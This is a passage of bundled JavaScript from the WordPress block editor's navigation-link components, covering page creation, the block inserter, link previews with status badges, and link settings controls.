        lastError: select9(import_core_data42.store).getLastEntitySaveError(
          "postType",
          postType
        ),
        isSaving: select9(import_core_data42.store).isSavingEntityRecord(
          "postType",
          postType
        )
      }),
      [postType]
    );
    const { saveEntityRecord } = (0, import_data78.useDispatch)(import_core_data42.store);
    const { createSuccessNotice, createErrorNotice } = (0, import_data78.useDispatch)(import_notices13.store);
    async function createPage(event) {
      event.preventDefault();
      if (isSaving || !isTitleValid) {
        return;
      }
      try {
        const savedRecord = await saveEntityRecord(
          "postType",
          postType,
          {
            title,
            status: shouldPublish ? "publish" : "draft"
          },
          { throwOnError: true }
        );
        if (savedRecord) {
          const pageLink = {
            id: savedRecord.id,
            type: postType,
            title: (0, import_html_entities5.decodeEntities)(savedRecord.title.rendered),
            url: savedRecord.link,
            kind: "post-type"
          };
          createSuccessNotice(
            (0, import_i18n133.sprintf)(
              // translators: %s: the name of the new page being created.
              (0, import_i18n133.__)("%s page created successfully."),
              (0, import_html_entities5.decodeEntities)(savedRecord.title.rendered)
            ),
            {
              type: "snackbar",
              id: "page-created-success"
            }
          );
          onPageCreated(pageLink);
        }
      } catch (error) {
        createErrorNotice(
          (0, import_i18n133.__)("Failed to create page. Please try again."),
          {
            type: "snackbar",
            id: "page-created-error"
          }
        );
      }
    }
    const isSubmitDisabled = isSaving || !isTitleValid;
    return /* @__PURE__ */ (0, import_jsx_runtime324.jsx)(
      dialog_wrapper_default,
      {
        className: "link-ui-page-creator",
        title: (0, import_i18n133.__)("Create page"),
        description: (0, import_i18n133.__)("Create a new page to add to your Navigation."),
        onBack,
        children: /* @__PURE__ */ (0, import_jsx_runtime324.jsx)(import_components88.__experimentalVStack, { className: "link-ui-page-creator__inner", spacing: 4, children: /* @__PURE__ */ (0, import_jsx_runtime324.jsx)("form", { onSubmit: createPage, children: /* @__PURE__ */ (0, import_jsx_runtime324.jsxs)(import_components88.__experimentalVStack, { spacing: 4, children: [
          /* @__PURE__ */ (0, import_jsx_runtime324.jsx)(
            import_components88.TextControl,
            {
              __next40pxDefaultSize: true,
              label: (0, import_i18n133.__)("Title"),
              onChange: setTitle,
              placeholder: (0, import_i18n133.__)("No title"),
              value: title
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime324.jsx)(
            import_components88.CheckboxControl,
            {
              label: (0, import_i18n133.__)("Publish"),
              help: (0, import_i18n133.__)(
                "Turn off to save as a draft. Drafts won't appear on your site until published."
              ),
              checked: shouldPublish,
              onChange: setShouldPublish
            }
          ),
          lastError && /* @__PURE__ */ (0, import_jsx_runtime324.jsx)(import_components88.Notice, { status: "error", isDismissible: false, children: lastError.message }),
          /* @__PURE__ */ (0, import_jsx_runtime324.jsxs)(import_components88.__experimentalHStack, { spacing: 2, justify: "flex-end", children: [
            /* @__PURE__ */ (0, import_jsx_runtime324.jsx)(
              import_components88.Button,
              {
                __next40pxDefaultSize: true,
                variant: "tertiary",
                onClick: onBack,
                disabled: isSaving,
                accessibleWhenDisabled: true,
                children: (0, import_i18n133.__)("Cancel")
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime324.jsx)(
              import_components88.Button,
              {
                __next40pxDefaultSize: true,
                variant: "primary",
                type: "submit",
                isBusy: isSaving,
                "aria-disabled": isSubmitDisabled,
                children: (0, import_i18n133.__)("Create page")
              }
            )
          ] })
        ] }) }) })
      }
    );
  }

  // packages/block-library/build-module/navigation-link/link-ui/block-inserter.mjs
  var import_i18n134 = __toESM(require_i18n(), 1);
  var import_data79 = __toESM(require_data(), 1);
  var import_block_editor150 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime325 = __toESM(require_jsx_runtime(), 1);
  var { PrivateQuickInserter: QuickInserter } = unlock(
    import_block_editor150.privateApis
  );
  function LinkUIBlockInserter({ clientId, onBack, onBlockInsert }) {
    const { rootBlockClientId } = (0, import_data79.useSelect)(
      (select9) => {
        const { getBlockRootClientId } = select9(import_block_editor150.store);
        return {
          rootBlockClientId: getBlockRootClientId(clientId)
        };
      },
      [clientId]
    );
    if (!clientId) {
      return null;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime325.jsx)(
      dialog_wrapper_default,
      {
        className: "link-ui-block-inserter",
        title: (0, import_i18n134.__)("Add block"),
        description: (0, import_i18n134.__)("Choose a block to add to your Navigation."),
        onBack,
        children: /* @__PURE__ */ (0, import_jsx_runtime325.jsx)(
          QuickInserter,
          {
            rootClientId: rootBlockClientId,
            clientId,
            isAppender: false,
            prioritizePatterns: false,
            selectBlockOnInsert: !onBlockInsert,
            onSelect: onBlockInsert ? onBlockInsert : void 0,
            hasSearch: false
          }
        )
      }
    );
  }
  var block_inserter_default = LinkUIBlockInserter;

  // packages/block-library/build-module/navigation-link/link-ui/index.mjs
  var import_jsx_runtime326 = __toESM(require_jsx_runtime(), 1);
  function getSuggestionsQuery(type, kind) {
    const perPage = 20;
    switch (type) {
      case "post":
      case "page":
        return { type: "post", subtype: type, perPage };
      case "category":
        return { type: "term", subtype: "category", perPage };
      case "tag":
        return { type: "term", subtype: "post_tag", perPage };
      case "post_format":
        return { type: "post-format", perPage };
      default:
        if (kind === "taxonomy") {
          return { type: "term", subtype: type, perPage };
        }
        if (kind === "post-type") {
          return { type: "post", subtype: type, perPage };
        }
        return {
          // for custom link which has no type
          // always show pages as initial suggestions
          initialSuggestionsSearchOptions: {
            type: "post",
            subtype: "page",
            perPage
          }
        };
    }
  }
  function UnforwardedLinkUI(props, ref) {
    const { label, url, opensInNewTab, type, kind, id } = props.link;
    const { entityRecord, hasBinding, isEntityAvailable } = props.entity || {};
    const { image, badges } = useLinkPreview({
      url,
      entityRecord,
      type,
      hasBinding,
      isEntityAvailable
    });
    const { clientId } = props;
    const postType = type || "page";
    const [addingBlock, setAddingBlock] = (0, import_element77.useState)(false);
    const [addingPage, setAddingPage] = (0, import_element77.useState)(false);
    const [shouldFocusPane, setShouldFocusPane] = (0, import_element77.useState)(null);
    const [initialSearchValue, setInitialSearchValue] = (0, import_element77.useState)("");
    const searchInputValueRef = (0, import_element77.useRef)("");
    const updateSearchValue = (value) => {
      searchInputValueRef.current = value;
      setInitialSearchValue(value);
    };
    const linkControlWrapperRef = (0, import_element77.useRef)();
    const addPageButtonRef = (0, import_element77.useRef)();
    const addBlockButtonRef = (0, import_element77.useRef)();
    const permissions = (0, import_core_data43.useResourcePermissions)({
      kind: "postType",
      name: postType
    });
    const { isBoundEntityAvailable } = useEntityBinding({
      clientId,
      attributes: props.link
    });
    const link = (0, import_element77.useMemo)(
      () => ({
        url,
        opensInNewTab,
        title: label && (0, import_dom6.__unstableStripHTML)(label),
        kind,
        type,
        id,
        image,
        badges
      }),
      [label, opensInNewTab, url, kind, type, id, image, badges]
    );
    const handlePageCreated = (pageLink) => {
      props.onChange(pageLink);
      setAddingPage(false);
      setShouldFocusPane(true);
      updateSearchValue("");
    };
    const dialogTitleId = (0, import_compose34.useInstanceId)(
      LinkUI,
      "link-ui-link-control__title"
    );
    const dialogDescriptionId = (0, import_compose34.useInstanceId)(
      LinkUI,
      "link-ui-link-control__description"
    );
    (0, import_element77.useEffect)(() => {
      if (shouldFocusPane && linkControlWrapperRef.current) {
        if (shouldFocusPane?.current) {
          shouldFocusPane.current.focus();
        } else {
          const tabbableElements = import_dom6.focus.tabbable.find(
            linkControlWrapperRef.current
          );
          const nextFocusTarget = tabbableElements[0] || linkControlWrapperRef.current;
          nextFocusTarget.focus();
        }
        setShouldFocusPane(false);
      }
    }, [shouldFocusPane]);
    const blockEditingMode = (0, import_block_editor151.useBlockEditingMode)();
    return /* @__PURE__ */ (0, import_jsx_runtime326.jsxs)(
      import_components89.Popover,
      {
        ref,
        placement: "bottom",
        onClose: props.onClose,
        anchor: props.anchor,
        shift: true,
        children: [
          !addingBlock && !addingPage && /* @__PURE__ */ (0, import_jsx_runtime326.jsxs)(
            "div",
            {
              ref: linkControlWrapperRef,
              role: "dialog",
              "aria-labelledby": dialogTitleId,
              "aria-describedby": dialogDescriptionId,
              children: [
                /* @__PURE__ */ (0, import_jsx_runtime326.jsxs)(import_components89.VisuallyHidden, { children: [
                  /* @__PURE__ */ (0, import_jsx_runtime326.jsx)("h2", { id: dialogTitleId, children: (0, import_i18n135.__)("Add link") }),
                  /* @__PURE__ */ (0, import_jsx_runtime326.jsx)("p", { id: dialogDescriptionId, children: (0, import_i18n135.__)(
                    "Search for and add a link to your Navigation."
                  ) })
                ] }),
                /* @__PURE__ */ (0, import_jsx_runtime326.jsx)(
                  import_block_editor151.LinkControl,
                  {
                    hasTextControl: true,
                    hasRichPreviews: true,
                    value: link,
                    showInitialSuggestions: true,
                    withCreateSuggestion: false,
                    noDirectEntry: !!type,
                    noURLSuggestion: !!type,
                    suggestionsQuery: getSuggestionsQuery(type, kind),
                    onChange: props.onChange,
                    onInputChange: (value) => {
                      searchInputValueRef.current = value;
                    },
                    inputValue: initialSearchValue,
                    onRemove: props.onRemove,
                    onCancel: props.onCancel,
                    handleEntities: isBoundEntityAvailable,
                    forceIsEditingLink: link?.url ? false : void 0,
                    renderControlBottom: () => {
                      if (link?.url?.length) {
                        return null;
                      }
                      return /* @__PURE__ */ (0, import_jsx_runtime326.jsx)(
                        LinkUITools,
                        {
                          addPageButtonRef,
                          addBlockButtonRef,
                          setAddingBlock: () => {
                            setAddingBlock(true);
                          },
                          setAddingPage: () => {
                            setAddingPage(true);
                          },
                          canAddPage: permissions?.canCreate && type === "page",
                          canAddBlock: blockEditingMode === "default"
                        }
                      );
                    }
                  }
                )
              ]
            }
          ),
          addingBlock && /* @__PURE__ */ (0, import_jsx_runtime326.jsx)(
            block_inserter_default,
            {
              clientId: props.clientId,
              onBack: () => {
                setAddingBlock(false);
                setShouldFocusPane(addBlockButtonRef);
                updateSearchValue(searchInputValueRef.current);
              },
              onBlockInsert: props?.onBlockInsert
            }
          ),
          addingPage && /* @__PURE__ */ (0, import_jsx_runtime326.jsx)(
            LinkUIPageCreator,
            {
              postType,
              onBack: () => {
                setAddingPage(false);
                setShouldFocusPane(addPageButtonRef);
                updateSearchValue(searchInputValueRef.current);
              },
              onPageCreated: handlePageCreated,
              initialTitle: searchInputValueRef.current && !(0, import_url13.isURL)(searchInputValueRef.current) ? searchInputValueRef.current : ""
            }
          )
        ]
      }
    );
  }
  var LinkUI = (0, import_element77.forwardRef)(UnforwardedLinkUI);
  var LinkUITools = ({
    addPageButtonRef,
    addBlockButtonRef,
    setAddingBlock,
    setAddingPage,
    canAddPage,
    canAddBlock
  }) => {
    const blockInserterAriaRole = "listbox";
    if (!canAddPage && !canAddBlock) {
      return null;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime326.jsxs)(import_components89.__experimentalVStack, { spacing: 0, className: "link-ui-tools", children: [
      canAddPage && /* @__PURE__ */ (0, import_jsx_runtime326.jsx)(
        import_components89.Button,
        {
          __next40pxDefaultSize: true,
          ref: addPageButtonRef,
          icon: plus_default,
          onClick: (e2) => {
            e2.preventDefault();
            setAddingPage(true);
          },
          "aria-haspopup": blockInserterAriaRole,
          children: (0, import_i18n135.__)("Create page")
        }
      ),
      canAddBlock && /* @__PURE__ */ (0, import_jsx_runtime326.jsx)(
        import_components89.Button,
        {
          __next40pxDefaultSize: true,
          ref: addBlockButtonRef,
          icon: plus_default,
          onClick: (e2) => {
            e2.preventDefault();
            setAddingBlock(true);
          },
          "aria-haspopup": blockInserterAriaRole,
          children: (0, import_i18n135.__)("Add block")
        }
      )
    ] });
  };

  // packages/block-library/build-module/navigation-link/shared/use-link-preview.mjs
  var import_i18n136 = __toESM(require_i18n(), 1);
  var import_url14 = __toESM(require_url(), 1);
  var import_block_editor152 = __toESM(require_block_editor(), 1);
  var import_data80 = __toESM(require_data(), 1);
  var import_core_data44 = __toESM(require_core_data(), 1);
  var { useRemoteUrlData, isHashLink, isRelativePath } = unlock(
    import_block_editor152.privateApis
  );
  function capitalize(str) {
    return str.charAt(0).toUpperCase() + str.slice(1);
  }
  function computeDisplayUrl({ linkUrl, homeUrl } = {}) {
    if (!linkUrl) {
      return { displayUrl: "", isExternal: false };
    }
    let displayUrl = (0, import_url14.safeDecodeURI)(linkUrl);
    let isExternal = false;
    if (isRelativePath(linkUrl) || isHashLink(linkUrl)) {
      return { displayUrl, isExternal: false };
    }
    try {
      const parsedUrl = new URL(linkUrl);
      const siteHost = new URL(homeUrl).host;
      if (parsedUrl.host === siteHost) {
        let path = parsedUrl.pathname + parsedUrl.search + parsedUrl.hash;
        if (path.endsWith("/") && path.length > 1) {
          path = path.slice(0, -1);
        }
        displayUrl = path;
      } else {
        isExternal = true;
      }
    } catch (e2) {
      isExternal = true;
    }
    return { displayUrl, isExternal };
  }
  function computeBadges({
    url,
    type,
    isExternal,
    entityStatus,
    hasBinding,
    isEntityAvailable
  }) {
    const badges = [];
    if (url) {
      if (isExternal) {
        badges.push({
          label: (0, import_i18n136.__)("External link"),
          intent: "default"
        });
      } else if (isHashLink(url)) {
        badges.push({
          label: (0, import_i18n136.__)("Internal link"),
          intent: "default"
        });
      } else if (type && type !== "custom") {
        badges.push({ label: capitalize(type), intent: "default" });
      } else {
        badges.push({
          label: (0, import_i18n136.__)("Page"),
          intent: "default"
        });
      }
    }
    if (hasBinding && !isEntityAvailable) {
      badges.push({
        label: (0, import_i18n136.sprintf)(
          /* translators: %s is the entity type (e.g., "page", "post", "category") */
          (0, import_i18n136.__)("Missing %s"),
          type
        ),
        intent: "error"
      });
    } else if (!url) {
      badges.push({ label: (0, import_i18n136.__)("No link selected"), intent: "error" });
    } else if (entityStatus) {
      const statusMap = {
        publish: { label: (0, import_i18n136.__)("Published"), intent: "success" },
        future: { label: (0, import_i18n136.__)("Scheduled"), intent: "warning" },
        draft: { label: (0, import_i18n136.__)("Draft"), intent: "warning" },
        pending: { label: (0, import_i18n136.__)("Pending"), intent: "warning" },
        private: { label: (0, import_i18n136.__)("Private"), intent: "default" },
        trash: { label: (0, import_i18n136.__)("Trash"), intent: "error" }
      };
      const badge = statusMap[entityStatus];
      if (badge) {
        badges.push(badge);
      }
    }
    return badges;
  }
  function useLinkPreview({
    url,
    entityRecord,
    type,
    hasBinding,
    isEntityAvailable
  }) {
    const homeUrl = (0, import_data80.useSelect)((select9) => {
      return select9(import_core_data44.store).getEntityRecord(
        "root",
        "__unstableBase"
      )?.home;
    }, []);
    const title = entityRecord?.title?.rendered || entityRecord?.title || entityRecord?.name;
    const { richData } = useRemoteUrlData(title ? null : url);
    const { displayUrl, isExternal } = computeDisplayUrl({
      linkUrl: url,
      homeUrl
    });
    const image = (0, import_data80.useSelect)(
      (select9) => {
        if (!entityRecord?.featured_media) {
          return null;
        }
        const { getEntityRecord } = select9(import_core_data44.store);
        const media = getEntityRecord(
          "postType",
          "attachment",
          entityRecord.featured_media
        );
        return media?.media_details?.sizes?.thumbnail?.source_url || media?.media_details?.sizes?.medium?.source_url || media?.source_url || null;
      },
      [entityRecord?.featured_media]
    );
    const badges = computeBadges({
      url,
      type,
      isExternal,
      entityStatus: entityRecord?.status,
      hasBinding,
      isEntityAvailable
    });
    const displayTitle = url ? title || richData?.title || (0, import_url14.safeDecodeURI)(url) : (0, import_i18n136.__)("Add link");
    return {
      title: displayTitle,
      url: displayUrl,
      image,
      badges
    };
  }

  // packages/block-library/build-module/navigation-link/shared/use-is-invalid-link.mjs
  var import_data81 = __toESM(require_data(), 1);
  var import_core_data45 = __toESM(require_core_data(), 1);
  var import_block_editor153 = __toESM(require_block_editor(), 1);
  var useIsInvalidLink = (kind, type, id, enabled) => {
    const isPostType = kind === "post-type" || type === "post" || type === "page";
    const hasId = Number.isInteger(id);
    const blockEditingMode = (0, import_block_editor153.useBlockEditingMode)();
    const { postStatus, isDeleted } = (0, import_data81.useSelect)(
      (select9) => {
        if (!isPostType) {
          return { postStatus: null, isDeleted: false };
        }
        if (blockEditingMode === "disabled" || !enabled) {
          return { postStatus: null, isDeleted: false };
        }
        const { getEntityRecord, hasFinishedResolution } = select9(import_core_data45.store);
        const entityRecord = getEntityRecord("postType", type, id);
        const hasResolved = hasFinishedResolution("getEntityRecord", [
          "postType",
          type,
          id
        ]);
        const deleted = hasResolved && entityRecord === void 0;
        return {
          postStatus: entityRecord?.status,
          isDeleted: deleted
        };
      },
      [isPostType, blockEditingMode, enabled, type, id]
    );
    const isInvalid = isPostType && hasId && (isDeleted || postStatus && "trash" === postStatus);
    const isDraft = "draft" === postStatus;
    return [isInvalid, isDraft];
  };

  // packages/block-library/build-module/navigation-link/shared/controls.mjs
  var import_jsx_runtime327 = __toESM(require_jsx_runtime(), 1);
  var { LinkPicker, isHashLink: isHashLink2, isRelativePath: isRelativePath2 } = unlock(
    import_block_editor154.privateApis
  );
  function getEntityTypeName(type, kind) {
    if (kind === "post-type") {
      switch (type) {
        case "post":
          return (0, import_i18n137.__)("post");
        case "page":
          return (0, import_i18n137.__)("page");
        default:
          return type || (0, import_i18n137.__)("post");
      }
    }
    if (kind === "taxonomy") {
      switch (type) {
        case "category":
          return (0, import_i18n137.__)("category");
        case "tag":
          return (0, import_i18n137.__)("tag");
        default:
          return type || (0, import_i18n137.__)("term");
      }
    }
    return type || (0, import_i18n137.__)("item");
  }
  function Controls2({
    attributes: attributes2,
    setAttributes,
    clientId,
    isLinkEditable = true
  }) {
    const { label, url, description, rel, opensInNewTab } = attributes2;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const { hasUrlBinding, isBoundEntityAvailable, entityRecord } = useEntityBinding({
      clientId,
      attributes: attributes2
    });
    const [isInvalid, isDraft] = useIsInvalidLink(
      attributes2.kind,
      attributes2.type,
      entityRecord?.id,
      hasUrlBinding
    );
    let helpText = "";
    if (isInvalid || hasUrlBinding && !isBoundEntityAvailable) {
      helpText = getInvalidLinkHelpText();
    } else if (isDraft) {
      helpText = getDraftHelpText({
        type: attributes2.type,
        kind: attributes2.kind
      });
    }
    const handleLinkChange = useHandleLinkChange({
      clientId,
      attributes: attributes2,
      setAttributes
    });
    const onNavigateToEntityRecord = (0, import_data82.useSelect)(
      (select9) => select9(import_block_editor154.store).getSettings().onNavigateToEntityRecord,
      []
    );
    const homeUrl = (0, import_data82.useSelect)((select9) => {
      return select9(import_core_data46.store).getEntityRecord("root", "__unstableBase")?.home;
    }, []);
    const blockEditingMode = (0, import_data82.useSelect)(
      (select9) => select9(import_block_editor154.store).getBlockEditingMode(clientId),
      [clientId]
    );
    const isContentOnly = blockEditingMode === "contentOnly";
    const preview = useLinkPreview({
      url,
      entityRecord,
      type: attributes2.type,
      hasBinding: hasUrlBinding,
      isEntityAvailable: isBoundEntityAvailable
    });
    const isViewableUrl = !!url && (!isHashLink2(url) || isRelativePath2(url) && !url.startsWith("/"));
    const viewUrl = isViewableUrl && url.startsWith("/") && homeUrl ? homeUrl + url : url;
    return /* @__PURE__ */ (0, import_jsx_runtime327.jsxs)(
      import_components90.__experimentalToolsPanel,
      {
        label: (0, import_i18n137.__)("Settings"),
        resetAll: () => {
          setAttributes({
            label: "",
            url: "",
            description: "",
            rel: "",
            opensInNewTab: false
          });
        },
        dropdownMenuProps,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
            import_components90.__experimentalToolsPanelItem,
            {
              hasValue: () => !!label,
              label: (0, import_i18n137.__)("Text"),
              onDeselect: () => setAttributes({ label: "" }),
              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
                import_components90.TextControl,
                {
                  __next40pxDefaultSize: true,
                  label: (0, import_i18n137.__)("Text"),
                  value: label ? (0, import_dom7.__unstableStripHTML)(label) : "",
                  onChange: (labelValue) => {
                    setAttributes({ label: labelValue });
                  },
                  autoComplete: "off"
                }
              )
            }
          ),
          isLinkEditable && /* @__PURE__ */ (0, import_jsx_runtime327.jsxs)(import_jsx_runtime327.Fragment, { children: [
            /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
              import_components90.__experimentalToolsPanelItem,
              {
                hasValue: () => !!url,
                label: (0, import_i18n137.__)("Link to"),
                onDeselect: () => setAttributes({
                  url: void 0,
                  id: void 0,
                  kind: void 0,
                  type: void 0
                }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
                  LinkPicker,
                  {
                    preview,
                    onSelect: handleLinkChange,
                    suggestionsQuery: getSuggestionsQuery(
                      attributes2.type,
                      attributes2.kind
                    ),
                    label: (0, import_i18n137.__)("Link to"),
                    help: helpText ? helpText : void 0
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
              import_components90.__experimentalToolsPanelItem,
              {
                hasValue: () => !!opensInNewTab,
                label: (0, import_i18n137.__)("Open in new tab"),
                onDeselect: () => setAttributes({ opensInNewTab: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
                  import_components90.CheckboxControl,
                  {
                    label: (0, import_i18n137.__)("Open in new tab"),
                    checked: opensInNewTab,
                    onChange: (value) => setAttributes({ opensInNewTab: value })
                  }
                )
              }
            ),
            !!url && hasUrlBinding && isBoundEntityAvailable && entityRecord?.id && attributes2.kind === "post-type" && onNavigateToEntityRecord && /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
              import_components90.Button,
              {
                variant: "secondary",
                onClick: () => {
                  onNavigateToEntityRecord({
                    postId: entityRecord.id,
                    postType: attributes2.type
                  });
                },
                __next40pxDefaultSize: true,
                className: "navigation-link-to__action-button",
                children: (0, import_i18n137.__)("Edit")
              }
            ),
            isViewableUrl && /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
              import_components90.Button,
              {
                variant: "secondary",
                href: viewUrl,
                target: "_blank",
                icon: external_default,
                iconPosition: "right",
                __next40pxDefaultSize: true,
                className: "navigation-link-to__action-button",
                children: (0, import_i18n137.__)("View")
              }
            )
          ] }),
          /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
            import_components90.__experimentalToolsPanelItem,
            {
              hasValue: () => !!description,
              label: (0, import_i18n137.__)("Description"),
              onDeselect: () => setAttributes({ description: "" }),
              isShownByDefault: !isContentOnly,
              children: /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
                import_components90.TextareaControl,
                {
                  label: (0, import_i18n137.__)("Description"),
                  value: description || "",
                  onChange: (descriptionValue) => {
                    setAttributes({ description: descriptionValue });
                  },
                  help: (0, import_i18n137.__)(
                    "The description will be displayed in the menu if the current theme supports it."
                  )
                }
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
            import_components90.__experimentalToolsPanelItem,
            {
              hasValue: () => !!rel,
              label: (0, import_i18n137.__)("Rel attribute"),
              onDeselect: () => setAttributes({ rel: "" }),
              isShownByDefault: !isContentOnly,
              children: /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
                import_components90.TextControl,
                {
                  __next40pxDefaultSize: true,
                  label: (0, import_i18n137.__)("Rel attribute"),
                  value: rel || "",
                  onChange: (relValue) => {
                    setAttributes({ rel: relValue });
                  },
                  autoComplete: "off",
                  help: (0, import_i18n137.__)(
                    "The relationship of the linked URL as space-separated link types."
                  )
                }
              )
            }
          )
        ]
      }
    );
  }
  function getInvalidLinkHelpText() {
    return (0, import_i18n137.__)(
      "This link is invalid and will not appear on your site. Please update the link."
    );
  }
  function getDraftHelpText({ type, kind }) {
    const entityType = getEntityTypeName(type, kind);
    return (0, import_i18n137.sprintf)(
      /* translators: %1$s is the entity type (e.g., "page", "post", "category") */
      (0, import_i18n137.__)(
        "This link is to a draft %1$s and will not appear on your site until the %1$s is published."
      ),
      entityType
    );
  }

  // packages/block-library/build-module/navigation-link/shared/invalid-draft-display.mjs
  var import_i18n138 = __toESM(require_i18n(), 1);
  var import_html_entities6 = __toESM(require_html_entities(), 1);
  var import_jsx_runtime328 = __toESM(require_jsx_runtime(), 1);
  function InvalidDraftDisplay({
    label,
    isInvalid,
    isDraft,
    className = "wp-block-navigation-link__label"
  }) {
    if (!isInvalid && !isDraft) {
      return null;
    }
    const statusText = isInvalid ? (
      /* translators: Indicating that the navigation link is Invalid. */
      (0, import_i18n138.__)("Invalid")
    ) : (
      /* translators: Indicating that the navigation link is a Draft. */
      (0, import_i18n138.__)("Draft")
    );
    return /* @__PURE__ */ (0, import_jsx_runtime328.jsx)(
      "div",
      {
        className: clsx_default(
          "wp-block-navigation-link__placeholder-text",
          className,
          {
            "is-invalid": isInvalid,
            "is-draft": isDraft
          }
        ),
        children: /* @__PURE__ */ (0, import_jsx_runtime328.jsx)("span", {
          // Some attributes are stored in an escaped form. It's a legacy issue.
          // Ideally they would be stored in a raw, unescaped form.
          // Unescape is used here to "recover" the escaped characters
          // so they display without encoding.
          // See `updateAttributes` for more details.
          children: `${(0, import_html_entities6.decodeEntities)(label)} (${statusText})`.trim()
        })
      }
    );
  }

  // packages/block-library/build-module/navigation-link/shared/use-enable-link-status-validation.mjs
  var import_data83 = __toESM(require_data(), 1);
  var import_block_editor155 = __toESM(require_block_editor(), 1);
  function useEnableLinkStatusValidation(clientId) {
    return (0, import_data83.useSelect)(
      (select9) => {
        const {
          getSelectedBlockClientId,
          hasSelectedInnerBlock,
          getBlockParentsByBlockName
        } = select9(import_block_editor155.store);
        const selectedBlockId = getSelectedBlockClientId();
        const rootNavigationId = getBlockParentsByBlockName(
          clientId,
          "core/navigation"
        )[0];
        return selectedBlockId === rootNavigationId || hasSelectedInnerBlock(rootNavigationId, true);
      },
      [clientId]
    );
  }

  // packages/block-library/build-module/navigation-link/shared/use-is-dragging-within.mjs
  var import_element78 = __toESM(require_element(), 1);
  var useIsDraggingWithin = (elementRef) => {
    const [isDraggingWithin, setIsDraggingWithin] = (0, import_element78.useState)(false);
    (0, import_element78.useEffect)(() => {
      const { ownerDocument } = elementRef.current;
      function handleDragStart(event) {
        handleDragEnter(event);
      }
      function handleDragEnd() {
        setIsDraggingWithin(false);
      }
      function handleDragEnter(event) {
        if (elementRef.current.contains(event.target)) {
          setIsDraggingWithin(true);
        } else {
          setIsDraggingWithin(false);
        }
      }
      ownerDocument.addEventListener("dragstart", handleDragStart);
      ownerDocument.addEventListener("dragend", handleDragEnd);
      ownerDocument.addEventListener("dragenter", handleDragEnter);
      return () => {
        ownerDocument.removeEventListener("dragstart", handleDragStart);
        ownerDocument.removeEventListener("dragend", handleDragEnd);
        ownerDocument.removeEventListener("dragenter", handleDragEnter);
      };
    }, [elementRef]);
    return isDraggingWithin;
  };

  // packages/block-library/build-module/navigation-link/shared/select-label-text.mjs
  function selectLabelText(ref) {
    ref.current.focus();
    const { ownerDocument } = ref.current;
    const { defaultView } = ownerDocument;
    const selection = defaultView.getSelection();
    const range = ownerDocument.createRange();
    range.selectNodeContents(ref.current);
    selection.removeAllRanges();
    selection.addRange(range);
  }

  // packages/block-library/build-module/navigation/edit/menu-inspector-controls.mjs
  var import_jsx_runtime329 = __toESM(require_jsx_runtime(), 1);
  var actionLabel = (
    /* translators: %s: The name of a menu. */
    (0, import_i18n139.__)("Switch to '%s'")
  );
  var BLOCKS_WITH_LINK_UI_SUPPORT = [
    "core/navigation-link",
    "core/navigation-submenu"
  ];
  var {
    PrivateListView,
    useBlockDisplayTitle,
    PrivateBlockContext,
    useListViewPanelState
  } = unlock(import_block_editor156.privateApis);
  function AdditionalBlockContent({ block, insertedBlock, setInsertedBlock }) {
    const { updateBlockAttributes, removeBlock } = (0, import_data84.useDispatch)(import_block_editor156.store);
    const supportsLinkControls = BLOCKS_WITH_LINK_UI_SUPPORT?.includes(
      insertedBlock?.name
    );
    const blockWasJustInserted = insertedBlock?.clientId === block.clientId;
    const showLinkControls = supportsLinkControls && blockWasJustInserted;
    const { createBinding, clearBinding } = useEntityBinding({
      clientId: insertedBlock?.clientId,
      attributes: insertedBlock?.attributes || {}
    });
    if (!showLinkControls) {
      return null;
    }
    const cleanupInsertedBlock = () => {
      const shouldAutoSelectBlock = false;
      if (!insertedBlock?.attributes?.url && insertedBlock?.clientId) {
        removeBlock(insertedBlock.clientId, shouldAutoSelectBlock);
      }
      setInsertedBlock(null);
    };
    const setInsertedBlockAttributes = (_insertedBlockClientId) => (_updatedAttributes) => {
      if (!_insertedBlockClientId) {
        return;
      }
      updateBlockAttributes(_insertedBlockClientId, _updatedAttributes);
    };
    const handleSetInsertedBlock = (newBlock) => {
      const shouldAutoSelectBlock = false;
      if (insertedBlock?.clientId && newBlock) {
        removeBlock(insertedBlock.clientId, shouldAutoSelectBlock);
      }
      setInsertedBlock(newBlock);
    };
    return /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(
      LinkUI,
      {
        clientId: insertedBlock?.clientId,
        link: insertedBlock?.attributes,
        onBlockInsert: handleSetInsertedBlock,
        onClose: () => {
          cleanupInsertedBlock();
        },
        onChange: (updatedValue) => {
          const { isEntityLink, attributes: updatedAttributes } = updateAttributes(
            updatedValue,
            setInsertedBlockAttributes(insertedBlock?.clientId),
            insertedBlock?.attributes
          );
          if (isEntityLink) {
            createBinding(updatedAttributes);
          } else {
            clearBinding();
          }
          setInsertedBlock(null);
        }
      }
    );
  }
  var MainContent = ({
    clientId,
    currentMenuId,
    isLoading,
    isNavigationMenuMissing,
    onCreateNew,
    expandRevision
  }) => {
    const hasChildren = (0, import_data84.useSelect)(
      (select9) => {
        return !!select9(import_block_editor156.store).getBlockCount(clientId);
      },
      [clientId]
    );
    const { openListViewContentPanel } = unlock(
      (0, import_data84.useDispatch)(import_block_editor156.store)
    );
    const { navigationMenu } = useNavigationMenu(currentMenuId);
    if (currentMenuId && isNavigationMenuMissing) {
      return /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(deleted_navigation_warning_default, { onCreateNew, isNotice: true });
    }
    if (isLoading) {
      return /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(import_components91.Spinner, {});
    }
